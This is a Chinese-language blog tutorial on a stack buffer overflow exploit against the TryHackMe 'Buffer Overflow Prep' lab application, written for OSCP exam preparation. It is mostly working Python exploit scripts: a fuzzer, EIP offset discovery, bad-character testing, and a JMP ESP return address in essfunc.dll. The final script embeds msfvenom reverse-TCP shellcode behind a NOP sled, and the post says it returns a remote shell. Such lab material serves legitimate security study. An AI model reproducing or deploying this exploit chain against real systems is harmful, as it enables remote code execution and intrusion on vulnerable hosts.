如果您被标题吸引进来了,却发现我写的很烂,请不要生气;
如果您发现我写的有误,欢迎您于评论区中指教
文章中出现的对于BOF来说相关的专业名词,都可以在最后找到解释
如果这篇文章能在您学习的路上帮助到您,我感到非常荣幸
照片问题因为csdn不接受外链,照片不能直接传上来,所以这里采用截图的方式,但由于图中没什么重要信息,大家就当看个乐呵,如果真想看清楚的图,看文章末尾
此处演示使用环境来自于TryHackMe | Buffer Overflow Prep
使用方法参考页面内教程
或者使用此简易教程(我自己写的,当笑话看一眼就行了,没接触过的看不懂,接触过的不用看)
1.注册账号
界面右上角
2.下载open配置文件
会让你选择成为VIP用他们的kali web版还是使用连接,选择并下载配置文件,然后拷贝到kali中
3.连接VPN
在自己的机器上使用 sudo open <配置文件名>来连接
4.开启机器
下滑界面,在Task1中有一个绿色的start machine,单击获得IP地址
5.远程桌面连接
xfreerdp /u:admin /p:password /cert:ignore /v:MACHINE_IP /workarea 使用该指令连接远程桌面,进入后选择home
6.管理员身份打开Immunity Debugger
桌面上有这个软件,右键选择”Run as administrator“
7.打开oscp.exe开始学习
File -> Open 之后选择在桌面的vunlerable-app文件夹中的oscp文件夹中的oscp.exe文件
1.验证内存大小。
2.寻找坏字节
3.寻找返回地址
4.配置poc获取shell
这一步的目的是试出进程的缓冲区大小以及确定其EIP的具体位置
如果此前已经知道了内存的具体大小,这一步可以省略
此处提供一个python脚本帮助确定内存的模糊大小
python3 fuzzer.py
#!/usr/bin/env python3
import socket, time, sys
ip = "windows.box"
port = 1337
timeout = 5
prefix = "OVERFLOW10 "
string = prefix + "A" * 100
while True:
try:
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.settimeout(timeout)
s.connect((ip, port))
s.recv(1024)
print("Fuzzing with {} bytes".format(len(string) - len(prefix)))
s.send(bytes(string, "latin-1"))
s.recv(1024)
except:
print("Fuzzing crashed at {} bytes".format(len(string) - len(prefix)))
sys.exit(0)
string += 100 * "A"
time.sleep(1)
此处我们可以看到内存的EIP位置的字节,已经被我们修改为x41(A)了
验证
验证上一步判断的内存大小
验证内存大小
python Crasher.py
#!/usr/bin/python
import socket
try:
print ("\nSending evil buffer...")
prefix = "OVERFLOW10 "
buffer = prefix + "A" * 600
s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
s.connect(("windows.box", 1337))
s.send(buffer)
s.close()
print ("\nDone!")
except:
print ("\nCould not connect!")
就可以发现EIP又一次的被A填充了,就可以说,这个六百字节的填充就验证成功了。
因为我们知道,使用了六百个字节让对面的进程内存溢出了,那么可以说,进程的实际内存一定小于600个字节。所以我们可以使用一串600字节的有规律字符串,这样查看EIP的字符的时候就可以确定具体的位置了
msf-pattern_create -l 600
or
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 600
来获取一串规律的字符串
然后更新我们的poc
python controllingEip.py
#!/usr/bin/python
import socket
try:
print ("\nSending evil buffer...")
prefix = "OVERFLOW10 "
buffer = prefix + "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9"
s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
s.connect(("windows.box", 1337))
s.send(buffer)
s.close()
print ("\nDone!")
except:
print ("\nCould not connect!")
发现EIP = 41397241,然后我们把这个值保存来获取EIP的位置
msf-pattern_offset -l 600 -q 41397241
or 直接在这个软件的下面输入
!mona findmsp -distance 600
用mona就可以看到这样的字样EIP contains normal pattern : ... (offset XXXX)
用msf就能看到
验证
从上面我们得到了EIP的位置,那么我们需要验证一下上面的到的信息是否准确
python controlledEip.py
#!/usr/bin/python
import socket
try:
print ("\nSending evil buffer...")
prefix = "OVERFLOW10 "
filler = "A" * 537
eip = "B" * 4
buffer = prefix + filler + eip
s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
s.connect(("windows.box", 1337))
s.send(buffer)
s.close()
print ("\nDone!")
except:
print ("\nCould not connect!")
在上面可以了解到前537是内存的大小,从538开始的四个字节应该是EIP的位置所以我们使用A来填充前537个字节,用B来填充EIP位置,这样,如果信息准确的话,EIP位置应该是42424242
发现确实是42,也就是说我们已经得到了EIP的位置
所谓坏字节,就是可以使程序中断执行的字节,由于么一个程序的坏字节都可能不一样,所以每一次我们都需要重新寻找,而x00则一定是坏字节,所以不需要确认,下面给出一份坏字节的表
badchars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)
到这里我们需要修正我们的poc来验证坏字节
python badchars.py
#!/usr/bin/python
import socket
try:
print ("\nSending evil buffer...")
badchars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)
prefix = "OVERFLOW10 "
filler = "A" * 537
eip = "B" * 4
buffer = prefix + filler + eip + badchars
s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
s.connect(("windows.box", 1337))
s.send(buffer)
s.close()
print ("\nDone!")
except:
print ("\nCould not connect!")
可以看到到这为止,我们验证坏字节的语句已经全部发送上去了接下来我们需要借助mona的帮助了
mona的使用
首先需要先建立工作目录
!mona config -set workingfolder c:\Temp
!mona bytearray -b "\x00"
然后开始寻找坏字节
!mona compare -f C:\Temp\bytearray.bin -a
至此,我们成功找到了这个程序的坏字节
接下来我们找寻的是发送后我们payload的存放的位置
我们需要继续使用mona来找寻一个没有内存保护的进程
!mona modules
我们此处使用第一条进程来继续我们的攻击
Log data, item 12
Address=0BADF00D
Message= 0x62500000 | 0x62508000 | 0x00008000 | False | False | False | False | False | -1.0- [essfunc.dll] (C:UsersadminDesktopvulnappsoscpessfunc.dll)
寻找jmp Esp在这个进程中的位置
首
先查看jmp esp的编码
msf-nasm_shell
nasm > jmp esp
00000000 FFE4 jmp esp
之后寻找jmp esp在进程中的位置
!mona find -s "\xff\xe4" -m "essfunc.dll"
Log data, item 11
Address=625011AF
Message= 0x625011af : "xffxe4" | {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:UsersadminDesktopvulnappsoscpessfunc.dll)
第一个就是 0x625011AF
刚刚我们已经找到了essfunc.dll中的jmpesp的位置,那么我们把这个位置传给EIP做最后的校验
首先定位到0x625011AF
之后敲击F2定位地址
之后执行一段程序进行验证
python returnAddress.py
#!/usr/bin/python
import socket
try:
print ("\nSending evil buffer...")
prefix = "OVERFLOW10 "
filler = "A" * 537
eip = "\xaf\x11\x50\x62" #0x625011AF
buffer = prefix + filler + eip
s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
s.connect(("windows.box", 1337))
s.send(buffer)
s.close()
print ("\nDone!")
except:
print ("\nCould not connect!")
发现EIP已经成功指向了JMP ESP的地址
使用msfvenom来制作payload,请按照格式填写自己的IP地址,监听端口以及坏字节
msfvenom -p windows/shell_reverse_tcp LHOST= LPORT= EXITFUNC=thread -f c –e x86/shikata_ga_nai -b "" > shellcode.c
打开之后就可以看到编码的payload
unsigned char buf[] =
"\x33\xc9\x83\xe9\xaf\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e"
"\x65\x02\xba\x95\x83\xee\xfc\xe2\xf4\x99\xea\x38\x95\x65\x02"
"\xda\x1c\x80\x33\x7a\xf1\xee\x52\x8a\x1e\x37\x0e\x31\xc7\x71"
"\x89\xc8\xbd\x6a\xb5\xf0\xb3\x54\xfd\x16\xa9\x04\x7e\xb8\xb9"
"\x45\xc3\x75\x98\x64\xc5\x58\x67\x37\x55\x31\xc7\x75\x89\xf0"
"\xa9\xee\x4e\xab\xed\x86\x4a\xbb\x44\x34\x89\xe3\xb5\x64\xd1"
"\x31\xdc\x7d\xe1\x80\xdc\xee\x36\x31\x94\xb3\x33\x45\x39\xa4"
"\xcd\xb7\x94\xa2\x3a\x5a\xe0\x93\x01\xc7\x6d\x5e\x7f\x9e\xe0"
"\x81\x5a\x31\xcd\x41\x03\x69\xf3\xee\x0e\xf1\x1e\x3d\x1e\xbb"
"\x46\xee\x06\x31\x94\xb5\x8b\xfe\xb1\x41\x59\xe1\xf4\x3c\x58"
"\xeb\x6a\x85\x5d\xe5\xcf\xee\x10\x51\x18\x38\x6a\x89\xa7\x65"
"\x02\xd2\xe2\x16\x30\xe5\xc1\x0d\x4e\xcd\xb3\x62\xfd\x6f\x2d"
"\xf5\x03\xba\x95\x4c\xc6\xee\xc5\x0d\x2b\x3a\xfe\x65\xfd\x6f"
"\xc5\x35\x52\xea\xd5\x35\x42\xea\xfd\x8f\x0d\x65\x75\x9a\xd7"
"\x2d\xff\x60\x6a\x7a\x3d\x65\x6e\xd2\x97\x65\x02\x8f\x1c\x83"
"\x68\xaa\xc3\x32\x6a\x23\x30\x11\x63\x45\x40\xe0\xc2\xce\x99"
"\x9a\x4c\xb2\xe0\x89\x6a\x4a\x20\xc7\x54\x45\x40\x0d\x61\xd7"
"\xf1\x65\x8b\x59\xc2\x32\x55\x8b\x63\x0f\x10\xe3\xc3\x87\xff"
"\xdc\x52\x21\x26\x86\x94\x64\x8f\xfe\xb1\x75\xc4\xba\xd1\x31"
"\x52\xec\xc3\x33\x44\xec\xdb\x33\x54\xe9\xc3\x0d\x7b\x76\xaa"
"\xe3\xfd\x6f\x1c\x85\x4c\xec\xd3\x9a\x32\xd2\x9d\xe2\x1f\xda"
"\x6a\xb0\xb9\x5a\x88\x4f\x08\xd2\x33\xf0\xbf\x27\x6a\xb0\x3e"
"\xbc\xe9\x6f\x82\x41\x75\x10\x07\x01\xd2\x76\x70\xd5\xff\x65"
"\x51\x45\x40";
然后我们可以制作最终的poc了,然后添加一些NOPs,因为一个编译器生成payload的时候需要一些内存,所以我们可以用No Operation(x90)去为解编译占位,这个至少需要16个字节。这里我加了三十二个
之后打开nc,运行poc我们就能获得一份shell了
python payload.py
#!/usr/bin/python
import socket
try:
print ("\nSending evil buffer...")
payload = ("\x33\xc9\x83\xe9\xaf\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e"
"\x65\x02\xba\x95\x83\xee\xfc\xe2\xf4\x99\xea\x38\x95\x65\x02"
"\xda\x1c\x80\x33\x7a\xf1\xee\x52\x8a\x1e\x37\x0e\x31\xc7\x71"
"\x89\xc8\xbd\x6a\xb5\xf0\xb3\x54\xfd\x16\xa9\x04\x7e\xb8\xb9"
"\x45\xc3\x75\x98\x64\xc5\x58\x67\x37\x55\x31\xc7\x75\x89\xf0"
"\xa9\xee\x4e\xab\xed\x86\x4a\xbb\x44\x34\x89\xe3\xb5\x64\xd1"
"\x31\xdc\x7d\xe1\x80\xdc\xee\x36\x31\x94\xb3\x33\x45\x39\xa4"
"\xcd\xb7\x94\xa2\x3a\x5a\xe0\x93\x01\xc7\x6d\x5e\x7f\x9e\xe0"
"\x81\x5a\x31\xcd\x41\x03\x69\xf3\xee\x0e\xf1\x1e\x3d\x1e\xbb"
"\x46\xee\x06\x31\x94\xb5\x8b\xfe\xb1\x41\x59\xe1\xf4\x3c\x58"
"\xeb\x6a\x85\x5d\xe5\xcf\xee\x10\x51\x18\x38\x6a\x89\xa7\x65"
"\x02\xd2\xe2\x16\x30\xe5\xc1\x0d\x4e\xcd\xb3\x62\xfd\x6f\x2d"
"\xf5\x03\xba\x95\x4c\xc6\xee\xc5\x0d\x2b\x3a\xfe\x65\xfd\x6f"
"\xc5\x35\x52\xea\xd5\x35\x42\xea\xfd\x8f\x0d\x65\x75\x9a\xd7"
"\x2d\xff\x60\x6a\x7a\x3d\x65\x6e\xd2\x97\x65\x02\x8f\x1c\x83"
"\x68\xaa\xc3\x32\x6a\x23\x30\x11\x63\x45\x40\xe0\xc2\xce\x99"
"\x9a\x4c\xb2\xe0\x89\x6a\x4a\x20\xc7\x54\x45\x40\x0d\x61\xd7"
"\xf1\x65\x8b\x59\xc2\x32\x55\x8b\x63\x0f\x10\xe3\xc3\x87\xff"
"\xdc\x52\x21\x26\x86\x94\x64\x8f\xfe\xb1\x75\xc4\xba\xd1\x31"
"\x52\xec\xc3\x33\x44\xec\xdb\x33\x54\xe9\xc3\x0d\x7b\x76\xaa"
"\xe3\xfd\x6f\x1c\x85\x4c\xec\xd3\x9a\x32\xd2\x9d\xe2\x1f\xda"
"\x6a\xb0\xb9\x5a\x88\x4f\x08\xd2\x33\xf0\xbf\x27\x6a\xb0\x3e"
"\xbc\xe9\x6f\x82\x41\x75\x10\x07\x01\xd2\x76\x70\xd5\xff\x65"
"\x51\x45\x40")
prefix = "OVERFLOW10 "
filler = "A" * 537
eip = "\xaf\x11\x50\x62" * 4 #0x625011AF
nop = "\x90" * 32
buffer = prefix + filler + eip + nop + payload
s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
s.connect(("windows.box", 1337))
s.send(buffer)
s.close()
print ("\nDone!")
except:
print ("\nCould not connect!")
综上,我们获得了shell
poc:一段验证的代码用于验证漏洞的真实性
payload:有效载荷,指poc或者exp中可以起到破坏作用的代码,比如说poc中反弹shell的部分
exp:exploit,一般是指别人针对一个漏洞写好的全自动poc,你只需要自己填个ip地址,端口啥的就可以利用
这三者的关系就像是poc是迫击炮需要手动一点一点调整,exp是自动导弹只需要输入打击经纬度,而payload则是弹头,用来实施破坏。
BOF:Buffer OverFlow即内存溢出漏洞
msf-pattern_create/offset/msfvenom:经offsec官方验证不属于使用msf工具,故可以在oscp考试中使用。
badchar:坏字节,坏字节是指一个可以中断程序的ascii 字节,这种东西在各个进程中都不尽相同,所以说每一次当我们遇到BOF的问题时都需要测试坏字节。这个玩意在执行代码的时候不会出现在内存中,也就是说加入我们的代码中存在坏字节,将会导致代码被中断
x和0x:0x指16进制,x是ASCII的字符编码
EIP:指令指针寄存器,存储着我们cpu要读取指令的地址,这里涉及到汇编知识,基础部分会在大学课程的操作系统和微机原理中有详细的讲解,快速理解可以看一下这个汇编知识之EIP寄存器 - 狂奔~ - 博客园 (cnblogs.com)
JMP:跳转指令,执行JMP指令后会使EIP跳转到JMP所指定的地址上,如JMP ESP就是使EIP跳转到ESP上
ESP:扩展栈指针寄存器,用于存放函数栈顶指针(下一个压入栈的活动记录的顶部)。当JMP 到ESP后我们之后的payload就会被压入内存栈等待被EIP调用。
NOPS:占位符,因为一个编译器生成payload的时候需要一些内存,所以我们可以用No Operation(x90)去为解编译占位。
socket网络编程:此处请关注我之后会写的另一篇关于socket编程基础的文章。
mona和Immunity Debugger:这个两个软件其他功能的具体使用请参考网上的其他文章,我也是第一次接触,之后在进一步学习汇编的时候应该会写文章
本教程核心内容翻译至Remote Buffer Overflow - 4PFSEC,非常感谢这位作者这篇教程的帮助
不知道为什么中文站全网找不到一个关于badchar的说明,感谢这位作者的关于坏字节部分的帮助Buffer Overflow - From fuzzing to l00t :: — uf0 (matteomalvica.com)
esp相关说明来源于百度百科esp(汇编语言关键词)_百度百科 (baidu.com)
再进一步学习EIP的时候拜读了这篇文章汇编知识之EIP寄存器 - 狂奔~ - 博客园 (cnblogs.com)
介绍了关于子u编码的内容x 和 0x 的区别 - Love流浪的猪 - 博客园 (cnblogs.com)
感谢我自己),这篇文章转载于我自己的博客,地址暂不公开,咱随缘。
如有侵权,请立刻联系删除